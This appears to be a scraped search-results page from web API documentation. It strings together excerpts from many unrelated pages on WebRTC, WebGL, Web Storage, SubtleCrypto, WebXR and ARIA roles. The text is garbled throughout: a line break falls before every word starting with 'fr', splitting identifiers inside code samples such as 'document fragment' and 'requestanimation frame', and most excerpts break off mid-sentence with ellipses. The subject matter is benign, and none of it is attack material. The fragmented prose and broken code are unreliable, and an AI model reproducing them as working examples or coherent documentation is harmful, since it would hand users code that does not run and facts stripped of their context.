from rtcsessiondescriptioninit, you can also pass in an rtcsessiondescription.
... example here we see a function which handles an offer received
from the remote peer.
... this code is derived
from the example and tutorial in the article signaling and video calling; take a look at that for more details and a more in-depth explanation of what's going on.
RTCStatsType - Web APIs
inbound-rtp an rtcinboundrtpstreamstats object providing statistics about inbound data being received
from remote peers.
... local-candidate an rtcicecandidatestats object giving statistics about an ice local candidate; these candidates are found in the output
from rtcicetransport.getlocalcandidates().
... remote-inbound-rtp the report is an rtcremoteinboundrtpstreamstats object providing statistics about your outbound rtp data stream, but
from the perspective of the remote peer.
... remote-outbound-rtp the report is an rtcremoteoutboundrtpstreamstats object that contains statistics about your inbound rtp (inbound-rtp) stream, but
from the perspective of the remote peer.
Range.extractContents() - Web APIs
the range.extractcontents() method moves contents of the range
from the document tree into a document
fragment.
... partially selected nodes are cloned to include the parent tags necessary to make the document
fragment valid.
... syntax document
fragment = range.extractcontents(); example basic example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); var document
fragment = range.extractcontents(); document.body.appendchild(document
fragment); moving items between containers this example lets you move items between two containers.
...st list2 = document.getelementbyid('list2'); const button = document.getelementbyid('swap'); button.addeventlistener('click', e => { selection = window.getselection(); for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); if (range.commonancestorcontainer === list1 || range.commonancestorcontainer.parentnode === list1) { const document
fragment = range.extractcontents(); list2.appendchild(document
fragment); } else if (range.commonancestorcontainer === list2 || range.commonancestorcontainer.parentnode === list2) { const document
fragment = range.extractcontents(); list1.appendchild(document
fragment); } } }); result specifications specification status comment domthe def...
RelativeOrientationSensor.RelativeOrientationSensor() - Web APIs
syntax var relativeorientationsensor = new relativeorientationsensor([options]) parameters options optional options are as follows:
frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
... a whole number or decimal may be used, the latter for
frequencies less than a second.
... the actual reading
frequency depends device hardware and consequently may be less than requested.
... reference
frame: either 'device' or 'screen'.
SVGAElement.target - Web APIs
the svgaelement.target read-only property of svgaelement returns an svganimatedstring object that specifies the portion of a target window,
frame, pane into which a document is to be opened when a link is activated.
... this property is used when there are multiple possible targets for the ending resource, like when the parent document is a mlti-
frame html or xhtml document.
... sample values can be found here example the code is taken
from the "svgaelement example code" ...
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
SVGCircleElement - Web APIs
"-119" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-39" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcircleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svggeometryelement.
... methods this interface has no methods but inherits methods
from its parent, svggeometryelement.
... candidate recommendation replaced the inheritance
from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated
from structured data.
SVGElement - Web APIs
all of the svg dom interfaces that correspond directly to elements in the svg language derive
from the svgelement interface.
... target="_top"><rect x="381" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties
from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance svgelement.datasetread only a domstringmap object which provides a list of key/value pairs of named data attributes which correspond to custom data attributes attached to the element.
... methods this interface has no methods, but inherits methods
from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance events listen to these events using addeventlistener() or by assigning an event listener to the equivalent on...
... unload fired when the dom implementation removes an svg document
from a window or
frame.
SVGFETurbulenceElement - Web APIs
svg_turbulence_type_
fractalnoise 1 corresponds to the
fractalnoise value.
... properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
... svgfeturbulenceelement.base
frequencyx read only an svganimatednumber corresponding to the x component of the base
frequency attribute of the given element.
... svgfeturbulenceelement.base
frequencyy read only an svganimatednumber corresponding to the y component of the base
frequency attribute of the given element.
SVGGraphicsElement - Web APIs
e="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: this interface was introduced in svg 2 and replaces the svglocatable and svgtransformable interfaces
from svg 1.1.
... properties this interface also inherits properties
from its parent, svgelement.
... methods this interface also inherits methods
from its parent, svgelement.
... svggraphicselement.getscreenctm() returns a dommatrix representing the matrix that transforms the current element's coordinate system to the coordinate system of the svg viewport for the svg document
fragment.
ServiceWorkerGlobalScope.onfetch - Web APIs
}; example this code snippet is
from the service worker prefetch sample (see prefetch example live.) the serviceworkerglobalscope.onfetch event handler listens for the fetch event.
...if no match is found, the code fetches a response
from the network.
... the code also handles exceptions thrown
from the fetch() operation.
...about to fetch
from network...'); return fetch(event.request).then(function(response) { console.log('response
from network is:', response); return response; }).catch(function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'e...
ServiceWorkerMessageEvent - Web APIs
the event object is accessed via the handler function of a message event, when fired by a message received
from a service worker.
... this interface inherits
from the event interface.
... properties inherits properties
from its parent, event.
... methods inherits methods
from its parent, event.
SpeechSynthesis - Web APIs
properties speechsynthesis also inherits properties
from its parent interface, eventtarget.
... methods speechsynthesis also inherits methods
from its parent interface, eventtarget.
... speechsynthesis.cancel() removes all utterances
from the utterance queue.
... inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), create a new speechsynthesisutterance instance containing the text
from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method.
Storage API - Web APIs
origin 1 has some web storage data as well as some indexeddb data, but also has some
free space left; its current usage hasn't yet reached its quota.
... when clearing site storage units, an origin's box is treated as a single entity; if the user agent needs to clear it and the user approves, the entire data store is cleared rather than providing some means of clearing only data
from individual apis.
...both of these values are estimates; there are several reasons why they're not precise: user agents are encouraged to obscure the exact size of the data used by a given origin, to prevent these values
from being used for fingerprinting purposes.
... user agents may use any method they choose to determine the size of origins' quotas, and are encouraged by the specification to provide popular or
frequently-used sites with extra space.
Streams API concepts - Web APIs
readable streams a readable stream is a data source represented in javascript by a readablestream object that flows
from an underlying source — this is a resource somewhere on the network or elsewhere on your domain that you want to get data
from.
... pull sources require you to explicitly request data
from them once connected to.
... you can make use of ready-made readable streams via mechanisms like a response.body
from a fetch request, or roll your own streams using the readablestream() constructor.
... you might do this for example in a serviceworker if you want to fetch a response
from the server and stream it to the browser, but also stream it to the serviceworker cache.
SubtleCrypto.deriveKey() - Web APIs
the derivekey() method of the subtlecrypto interface can be used to derive a secret key
from a master key.
...it's designed to derive key material
from some high-entropy input, such as the output of an ecdh key agreement operation.
... it's not designed to derive keys
from relatively low-entropy inputs such as passwords.
...it's designed to derive key material
from some relatively low-entropy input, such as a password.
SubtleCrypto.unwrapKey() - Web APIs
the key was exported in "raw" format and encrypted using the aes-kw algorithm, with a key derived
from a password.
... const saltbuffer = bytestoarraybuffer(saltbytes); // 3 derive the key
from key material and salt return window.crypto.subtle.derivekey( { "name": "pbkdf2", salt: saltbuffer, "iterations": 100000, "hash": "sha-256" }, keymaterial, { "name": "aes-kw", "length": 256}, true, [ "wrapkey", "unwrapkey" ] ); } /* unwrap an aes secret key
from an arraybuffer containing the raw bytes.
...the key was exported in "pkcs8" format and encrypted using the aes-gcm algorithm, with a key derived
from a password.
... const saltbuffer = bytestoarraybuffer(saltbytes); // 3 derive the key
from key material and salt return window.crypto.subtle.derivekey( { "name": "pbkdf2", salt: saltbuffer, "iterations": 100000, "hash": "sha-256" }, keymaterial, { "name": "aes-gcm", "length": 256}, true, [ "wrapkey", "unwrapkey" ] ); } /* unwrap an rsa-pss private signing key
from an arraybuffer containing the raw bytes.
Text - Web APIs
properties inherits properties
from its parent, characterdata.
... properties included
from slotable the text interface includes the following property, defined on the slotable mixin.
... methods inherits methods
from its parent, characterdata.
... obsolete no change
from document object model (dom) level 1 specification.
TextTrack - Web APIs
properties this interface also inherits properties
from eventtarget.
...the value must adhere to the format specified in the tags for identifying languages (bcp 47) document
from the ietf, just like the html lang attribute.
... methods this interface also inherits methods
from eventtarget.
... texttrack.removecue() removes a cue (specified as a texttrackcue object
from the track's list of cues.
USBDevice - Web APIs
usbdevice.controltransferout() returns a promise that resolves with a usbtransferoutresult when a command or status operation has been transmitted
from the usb device.
... usbdevice.isochronoustransferout() returns a promise that resolves with a usbisochronousouttransferresult when time sensitive information has been transmitted
from the usb device.
... usbdevice.releaseinterface() returns a promise that resolves when a cliamed interface is released
from exclusive access.
... usbdevice.transferin() returns a promise that resolves with a usbtransferinresult when bulk or interrupt data is received
from the usb device.
User Timing API - Web APIs
removing performance marks to remove a specific mark
from the performance timeline, call performance.clearmarks(name) where name is the name of the mark(s) you want removed.
... if this method is called with no arguments, all mark type entries will be removed
from the performance timeline.
... removing performance measures to remove a specific measure
from the performance timeline, call performance.clearmeasures(name) where name is the name of the measure(s) you want removed.
... if this method is called with no arguments, all measure type entries will be removed
from the performance timeline.
VTTCue() - Web APIs
this is the time, given in seconds and
fractions of a second, denoting the beginning of the range of the media data to which this cue applies.
... for example, if a cue is to be visible
from 50 seconds to a one minute, five and a half seconds in the media's playback, starttime will be 50.0.
...this is the time at which the cue should stop being presented to the user, given in seconds and
fractions thereof.
... example // create a cue that is shown
from 2 to 3 seconds and uses the given text.
VTTCue - Web APIs
param starttime the time, in seconds and
fractions of a second, that describes the beginning of the range of the media data to which the cue applies.
... endtime the time, in seconds and
fractions of a second, that describes the end of the range of the media data to which the cue applies.
... properties this interface also inherits properties
from texttrackcue.
... methods getcueashtml() returns the cue text as a document
fragment.
WebGL2RenderingContext.getBufferSubData() - Web APIs
the webgl2renderingcontext.getbuffersubdata() method of the webgl 2 api reads data
from a buffer binding point and writes them to an arraybuffer or sharedarraybuffer.
... gl.copy_read_buffer: buffer for copying
from one buffer object to another.
... gl.copy_write_buffer: buffer for copying
from one buffer object to another.
... srcbyteoffset a glintptr specifying the byte offset
from which to start reading
from the buffer.
WebGLProgram - Web APIs
the webglprogram is part of the webgl api and is a combination of two compiled webglshaders consisting of a vertex shader and a
fragment shader (both written in glsl).
... var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program,
fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw 'could not compile webgl program.
... \n\n' + info; } see webglshader for information on creating the vertexshader and
fragmentshader in the above example.
...this
frees the memory of the linked program.
WebGLRenderingContext.disable() - Web APIs
possible values: constant description gl.blend deactivates blending of the computed
fragment color values.
... gl.polygon_offset_fill deactivates adding an offset to depth values of polygon's
fragments.
... gl.sample_coverage deactivates anding the
fragment's coverage with the temporary coverage value.
... gl.scissor_test deactivates the scissor test that discards
fragments that are outside of the scissor rectangle.
WebGLRenderingContext.enable() - Web APIs
possible values: constant description gl.blend activates blending of the computed
fragment color values.
... gl.polygon_offset_fill activates adding an offset to depth values of polygon's
fragments.
... gl.sample_coverage activates anding the
fragment's coverage with the temporary coverage value.
... gl.scissor_test activates the scissor test that discards
fragments that are outside of the scissor rectangle.
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
example this code — a snippet taken
from the full example a basic 2d webgl animation example — shows the use of enablevertexarray() to activate the attribute that will be used by the webgl layer to pass individual vertexes
from the vertex buffer into the vertex shader function.
... gl.bindbuffer(gl.array_buffer, vertexbuffer); avertexposition = gl.getattriblocation(shaderprogram, "avertexposition"); gl.enablevertexattribarray(avertexposition); gl.vertexattribpointer(avertexposition, vertexnumcomponents, gl.float, false, 0, 0); gl.drawarrays(gl.triangles, 0, vertexcount); this code snippet is taken
from the function animatescene() in "a basic 2d webgl animation example." see that article for the full sample and to see the resulting animation in action.
...then the vertex position attribute's index is obtained
from the shader program by calling getattriblocation().
...but as a result, accessing avertexposition now obtains data
from the vertex buffer.
WebGLRenderingContext.isEnabled() - Web APIs
possible values: constant description gl.blend blending of the computed
fragment color values.
... gl.polygon_offset_fill adding an offset to depth values of polygon's
fragments.
... gl.sample_coverage anding the
fragment's coverage with the temporary coverage value.
... gl.scissor_test scissor test that discards
fragments that are outside of the scissor rectangle.
WebGLRenderingContext.stencilFuncSeparate() - Web APIs
the webglrenderingcontext.stencilfuncseparate() method of the webgl api sets the
front and/or back function and reference value for stencil testing.
... syntax void gl.stencilfuncseparate(face, func, ref, mask); parameters face a glenum specifying whether the
front and/or back stencil state is updated.
... the possible values are: gl.
front gl.back gl.
front_and_back func a glenum specifying the test function.
... gl.enable(gl.stencil_test); gl.stencilfuncseparate(gl.
front, gl.less, 0.2, 1110011); to get the current stencil function, reference value, or other stencil information, query the following constants with getparameter().
WebGLRenderingContext.stencilOpSeparate() - Web APIs
the webglrenderingcontext.stencilopseparate() method of the webgl api sets the
front and/or back-facing stencil test actions.
... face a glenum specifying whether the
front and/or back stencil state is updated.
... the possible values are: gl.
front gl.back gl.
front_and_back fail a glenum specifying the function to use when the stencil test fails.
... gl.enable(gl.stencil_test); gl.stencilopseparate(gl.
front, gl.incr, gl.decr, gl.invert); to get the current information about stencil and depth pass or fail, query the following constants with getparameter().
Scissor animation - Web APIs
note that this time it is the position of the square (the scissoring area) that is updated every
frame (we set
frame rate to roughly one every 17ms, or roughly 60fps –
frames per second).
...for each square, we set its color once, and then update only its position every
frame.
...var gl, color = getrandomcolor(), position; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) return; gl.enable(gl.scissor_test); gl.clearcolor(color[0], color[1], color[2], 1.0); // unlike the browser window, vertical position in webgl is // measured
from bottom to top.
...var size = [60, 60], velocity = 3.0; function drawanimation () { gl.scissor(position[0], position[1], size[0] , size[1]); gl.clear(gl.color_buffer_bit); // every
frame the vertical position of the square is // decreased, to create the illusion of movement.
Animating objects with WebGL - Web APIs
our sample loads a copy
from a cdn in our html's <head>.
...that by creating a new variable to track the time at which we last animated (let's call it then), then adding the following code to the end of the main function var then = 0; // draw the scene repeatedly function render(now) { now *= 0.001; // convert to seconds const deltatime = now - then; then = now; drawscene(gl, programinfo, buffers, deltatime); requestanimation
frame(render); } requestanimation
frame(render); this code uses requestanimation
frame to ask the browser to call the function "render" on each
frame.
... requestanimation
frame passes us the time in milliseconds since the page loaded.
... we convert that to seconds and then subtract
from it the last time to compute deltatime which is the number of second since the last
frame was rendered.
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
those conditions may be affected by everything
from the underlying layers of the network stack to the physical network connection, the intervening networks, the performance of the remote endpoint, noise levels, traffic levels, and so forth.
... where it matters for webrtc purposes, these are dealt with in a variety of places within the webrtc in
frastructure.
... the audiostream, containing the audio to play instead of the local peer's microphone audio, can come
from anywhere.
...
from this point on, the microphone is re-engaged and the remote user is once again able to hear the local user, as well as speak to them.
Introduction to WebRTC protocols - Web APIs
ice interactive connectivity establishment (ice) is a
framework to allow your web browser to connect with peers.
... there are many reasons why a straight up connection
from peer a to peer b simply won’t work.
...requests will be translated
from the device’s private ip to the router’s public ip with a unique port.
...this means the router will only accept connections
from peers you’ve previously connected to.
WebRTC Statistics API - Web APIs
the webrtc api has a vast array of statistics available, covering the entire breadth of the webrtc connectivity system,
from sender to receiver and peer to peer.
... mapping of statistic category names to the dictionaries they implement statistic category name (rtcstatstype) description dictionaries implemented candidate-pair statistics describing the change
from one rtcicetransport to another, such as during an ice restart.
... rtcicecandidatestats rtcstats remote-inbound-rtp statistics describing the state of the inbound data stream
from the perspective of the remote peer.
... rtcremoteinboundrtpstreamstats rtcreceivedrtpstreamstats rtcrtpstreamstats rtcstats remote-outbound-rtp statistics describing the state of the outbound data stream
from the perpsective of the remote peer.
The WebSocket API (WebSockets) - Web APIs
messageevent the event sent by the websocket object when a message is received
from the server.
... clusterws: lightweight, fast and powerful
framework for building scalable websocket applications in node.js.
... socketcluster: a pub/sub websocket
framework for node.js with a focus on scalability.
... total.js: web application
framework for node.js (example: websocket chat) faye: a websocket (two-ways connections) and eventsource (one-way connections) for node.js server and client.
Using the Web Storage API - Web APIs
testing whether your storage has been populated to start with, in main.js, we test whether the storage object has already been populated (i.e., the page was previously accessed): if(!localstorage.getitem('bgcolor')) { populatestorage(); } else { setstyles(); } the storage.getitem() method is used to get a data item
from storage; in this case, we are testing to see whether the bgcolor item exists; if not, we run populatestorage() to add the existing customization values to the storage.
... getting values
from storage as noted above, values can be retrieved
from storage using storage.getitem().
...timage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } here, the first three lines grab the values
from local storage.
...we don't use these in our demo, but they are very simple to add to your project: storage.removeitem() takes a single argument — the key of the data item you want to remove — and removes it
from the storage object for that domain.
Window: popstate event - Web APIs
if the browser has state information it wishes to store with the current-entry before navigating away
from it, it then does so.
... if the history traversal is being performed with replacement enabled, the entry immediately prior to the destination entry (taking into account the delta parameter on methods such as go()) is removed
from the history stack.
... if the new-entry doesn't have persisted user state and its url's
fragment is non-null, the document is scrolled to that
fragment.
... if the original and new entry's shared the same document, but had different
fragments in their urls, send the hashchange event to the window.
Window.print() - Web APIs
living standard browser compatibility the compatibility table in this page is generated
from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprintchrome full support 1notes full support 1notes notes starting with chrome 46, this method is blocked inside an <i
frame> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support 1ie full support 5opera full support 6notes full support 6notes notes st...
...arting with opera 33, this method is blocked inside an <i
frame> unless its sandbox attribute has the value allow-modals.safari full support 1.1webview android full support 1notes full support 1notes notes starting with webview 46, this method is blocked inside an <i
frame> unless its sandbox attribute has the value allow-modals.chrome android full support 18notes full support 18notes notes starting with chrome 46, this method is blocked inside an <i
frame> unless its sandbox attribute has the value allow-modals.firefox android no support ...
... nonotes no support nonotes notes see bug 1247609.opera android full support 10.1notes full support 10.1notes notes starting with opera 33, this method is blocked inside an <i
frame> unless its sandbox attribute has the value allow-modals.safari ios full support 1samsung internet android full support 1.0notes full support 1.0notes notes starting with samsung internet 5.0, this method is blocked inside an <i
frame> unless its sandbox attribute has the value allow-modals.legend full ...
Window.screenLeft - Web APIs
the window.screenleft read-only property returns the horizontal distance, in css pixels,
from the left border of the user's browser viewport to the left side of the screen.
... syntax leftwindowpos = window.screenleft returns a number equal to the number of css pixels
from the left edge of the browser viewport to the left edge of the screen.
...in this example we are using screenleft/screentop plus window.requestanimation
frame() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
...nitialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.textcontent = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimation
frame(positionelem); } window.requestanimation
frame(positionelem); also in the code we include a snippet that detects whether screenleft is supported, and if not, polyfills in screenleft/screentop using window.screenx/window.screeny.
Window.screenTop - Web APIs
the window.screentop read-only property returns the vertical distance, in css pixels,
from the top border of the user's browser viewport to the top side of the screen.
... syntax topwindowpos = window.screentop returns a number equal to the number of css pixels
from the top edge of the browser viewport to the top edge of the screen.
...in this example we are using screenleft/screentop plus window.requestanimation
frame() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
...nitialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.textcontent = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimation
frame(positionelem); } window.requestanimation
frame(positionelem); also in the code we include a snippet that detects whether screenleft is supported, and if not, polyfills in screenleft/screentop using window.screenx/window.screeny.
Window.sessionStorage - Web APIs
opening a page in a new tab or window creates a new session with the value of the top-level browsing context, which differs
from how session cookies work.
...in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different sessionstorage object
from the same site accessed with https (e.g., https://example.com).
... sessionstorage.setitem('mycat', 'tom'); the following example autosaves the contents of a text field, and if the browser is re
freshed, restores the text field content so that no writing is lost.
... // get the text field that we're going to track let field = document.getelementbyid("field"); // see if we have an autosave value // (this will only happen if the page is accidentally re
freshed) if (sessionstorage.getitem("autosave")) { // restore the contents of the text field field.value = sessionstorage.getitem("autosave"); } // listen for changes in the text field field.addeventlistener("change", function() { // and save the results into the session storage object sessionstorage.setitem("autosave", field.value); }); note: please refer to the using the web storage api article for a full example.
Window.showModalDialog() - Web APIs
dialogleft: left distance of the dialog box
from the left edge of the desktop.
... dialogtop: top distance of the dialog box
from the top edge of the desktop.
... specification msdn page for showmodaldialog browser compatibility the compatibility table in this page is generated
from structured data.
... nofirefox no support 3 — 56ie full support 4opera no support nosafari full support 5.1notes full support 5.1notes notes see webkit bug 151885 for possible future removal
from safari.webview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android ...
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
example: settimeout(function(arg1){}.bind(undefined, 10), 1000); the "this" problem when you pass a method to settimeout() (or any other function, for that matter), it will be invoked with a this value that may differ
from your expectation.
... explanation code executed by settimeout() is called
from an execution context separate
from the function
from which settimeout was called.
...firefox) — on setinterval() calls made
from anywhere, or when a nested settimeout() is called where the nesting level is at least a certain depth.
... timeouts in inactive tabs throttled to ≥ 1000ms to reduce the load (and associated battery usage)
from background tabs, timeouts are throttled to firing no more often than once per second (1,000 ms) in inactive tabs.
Synchronous and asynchronous requests - Web APIs
synchronous requests block the execution of code which causes "
freezing" on the screen and an unresponsive user experience.
... example: using a timeout you can use a timeout to prevent your code
from hanging while waiting for a read to finish.
...the recommendation is that developers move away
from the synchronous api and instead use asynchronous requests.
... example: synchronous http request
from a worker one of the few cases in which a synchronous request does not usually block execution is the use of xmlhttprequest within a worker.
XRInputSource.gripSpace - Web APIs
as shown in the diagram above, the coordinate system is oriented as follows: the x-axis is perpendicular to the palm of the user's hand, with the direction extending outward
from the back of the hand being +x if the controller is in the user's right hand or -x if the controller is in the left hand.
... the y-axis is implied by the relationship between the other two axes; as is always the case, it's the cross product of the other two axes (lying 90° away
from both the x and z axes).
... examples in tis example, taken
from the
frame rendering callback, the gripspace is used to render a mesh that represents the position and orieintation of the controller in the virtual environment.
... for (let source in xrsession.inputsources) { if (source.gripspace) { let grippose =
frame.getpose(source.gripspace, xrrefspace); if (grippose) { mydrawmeshusingtransform(controllermesh, grippose.transform.matrix); } } } for each input source which has a value for gripspace, this loop obtains the xrpose representing the position and orientation that are described by gripspace.
XRPermissionDescriptor.optionalFeatures - Web APIs
syntax xrpermissiondescriptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.optionalfeatures = optfeaturelist; optfeaturelist = xrpermissiondescriptor.optionalfeatures; value an array of strings taken
from the xrreferencespacetype enumerated type, indicating set of features that your app would like to use, but can operate without if permission to use them isn't available.
... while further features may be defined in future editions of webxr, currently all permitted values come
from the xrreferencespacetype enumerated type, indicating reference spaces the app rquires to be available.
... for devices with six degrees of
freedom (6dof) tracking, the local reference space tries to keep the origin stable relative to the environment.
... xrreferencespace unbounded a tracking space which allows the user total
freedom of movement, possibly over extremely long distances
from their origin point.
XRRenderStateInit - Web APIs
the xrrenderstateinit dictionary is a writeable version of the xrrenderstate interface, and is used when calling an xrsession's updaterenderstate() method to apply changes to the render state prior to rendering the next
frame.
... properties baselayer optional an xrwebgllayer object
from which the webxr compositor will obtain imagery.
... depthfar optional a floating-point value specifying the distance in meters
from the viewer to the far clip plane, which is a plane parallel to the display surface beyond which no further rendering will occur.
... depthnear optional a floating-point value indicating the distance in meters
from the viewer to a plane parallel to the display surface to be the near clip plane.
XRSession.visibilityState - Web APIs
the possible values of visibilitystate are: hidden the virtual scene generated by the xrsession is not currently visible to the user, so its requestanimation
frame() callbacks are not being executed until thevisibilitystate changes.
...to that end, the session's requestanimation
frame() callbacks are being processed at the xr device's native re
fresh rate and input controllers are being processed as normal.
...in order to optimize resource utilization, the user agent may be handling the session's requestanimation
frame() callbacks at a throttled rate.
...for instance, if the viewer is using a headset tethered to a computer and the immersive scene is obscured by a configuration ui, the user could peek out
from behind the headset and still be able to see the document itself on their computer's monitor.
XRViewport - Web APIs
x read only the offset
from the origin of the destination graphics surface (typically a xrwebgllayer) to the left edge of the viewport, in pixels.
... y read only the offset
from the origin of the viewport to the bottom edge of the viewport; webgl's coordinate system places (0, 0) at the bottom left corner of the surface.
... these values may be passed directly into the webglrenderingcontext.viewport() method: let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); example this example sets up an animation
frame callback using requestanimation
frame().
... xrsession.requestanimation
frame((time, xr
frame) => { let viewerpose = xr
frame.getviewerpose(xrreferencespace); gl.bind
framebuffer(xrwebgllayer.
framebuffer); for (xrview of viewerpose.views) { let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); // now we can use webgl to draw into a viewport matching // the viewer's needs } }); specifications specification status comment webxr device apithe definition of 'xrviewport' in that specification.
XSL Transformations in Mozilla FAQ - Web APIs
mozilla won't load xslt stylesheets
from a different domain for security reasons.
...most come
from what we suspect ie to do after the transformation.
... this does not affect css stylesheets loaded
from the generated dom, those honor media just like in pages without xslt.
... there is transformtodocument and transformto
fragment starting with mozilla 1.2 final, see using the mozilla javascript interface to xsl transformations.
ARIA live regions - Accessibility
when a planet is selected
from the dropdown, a region on the page is updated with information about the selected planet.
...it is named after the roman deity mercury, the messenger to the gods.' }, venus: { title: "venus", description: 'venus is the second planet
from the sun.
... it is named after the roman goddess of love and beauty.' }, earth: { title: "earth", description: 'earth is the third planet
from the sun and the only object in the universe known to harbor life.' }, mars: { title: "mars", description: 'mars is the fourth planet
from the sun and the second-smallest planet in the solar system after mercury.
...for instance, when the clock changes
from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users.
ARIA: application role - Accessibility
background for historic reasons, especially on windows, screen readers and some other assistive technologies (at) have traditionally grabbed the whole web content
from the browser at once after it had finished loading.
...the one exception is if focus is set to a standard widget inside the application that supports keyboard navigation
from the browser, for example an input element.
... the application role does not have a related html widget and thus is completely
free form.
... examples some prominent web applications that use the application role properly are: google docs, sheets and slides ckeditor and tinymce wysiwyg web editors, like the one used on the mozilla developer network some parts of gmail accessibility concerns improperly using the application role can unintentionally take away access
from information on a web page, so be very mindful of using it.
ARIA: cell role - Accessibility
<div role="row"> <span role="cell">
france</span> <span role="cell">67 million</span> </div> a better, more semantic way of writing the cells above would be to use the semantic <td> element.
... <tr role="row"> <td role="cell">
france</td> <td role="cell">67 million</td> </tr> description the element with role="cell" is a cell within a row, optionally within a rowgroup, within a grid, table or treegrid within a static tabular structure.
... aria-colindex attribute the aria-colindex attribute is only needed if columns are hidden
from the dom.
... aria-rowindex attribute the aria-rowindex attribute is only needed if rows are hidden
from the dom, to indicate which row, in the list of total rows, the current cell is in.
ARIA: button role - Accessibility
in some cases, for example buttons represented by icons, the accessible name may be provided
from the aria-label or aria-labelledby attributes.
...if the design were to call for the button label to change
from "mute" to "unmute," a toggle button would not be appropriate, so the the aria-pressed attribute would be omitted.
...e="button"] { padding: 2px; background-color: navy; color: white; cursor: default; } [role="button"]:hover, [role="button"]:focus, [role="button"]:active { background-color: white; color: navy; } ul { list-style: none; } javascript function handlecommand(event) { // handles both mouse clicks and keyboard // activate with enter or space // get the new name value
from the input element let newnameinput = document.getelementbyid('newname'); let name = newnameinput.value; newnameinput.value = ''; // clear the text field newnameinput.focus(); // give the text field focus to enable entering and additional name.
...when the button is activated, the aria-pressed value switches states; changing
from true to false and back again.
ARIA: listbox role - Accessibility
the listbox role is used for lists
from which a user may select one or more items which are static and, unlike html <select> elements, may contain images.
... description the listbox role is used to identify an element that creates a list
from which a user may select one or more static items, similar to the html <select> element.
... it is highly recommended to use the html select element, or a group of radio buttons if only one item can be selected, or a group of checkboxes if multiple items can be selected, because there is a lot of keyboard interactivity to manage focus for all the descendants, and native html elements provide this functionality for you for
free.
... shift + space (optional): selects contiguous items
from the most recently selected item to the focused item.
Accessibility: What users can do to browse more safely - Accessibility
personalization and accessibility settings
from the article, "understanding success criterion 2.3.1: three flashes or below threshold" "flashing can be caused by the display, the computer rendering the image or by the content being rendered.
...d-motion, the reduced motion media query, "while microsoft edge does not have support for prefers-reduced-motion, it will become chrome under the hood soon." safari 10.1 and above (desktop) do not enable auto-play (does not work for gifs) ios safari 10.3 and above (mobile and tablet) select the "reduce motion option" in os accessibility settings for apple (image source: developers.google.com
from thomas steiner's article "move ya!
...using firefox as an example, it explains that by changing the value the image.animation_mode
from "normal" to "none", all animated images will be blocked.
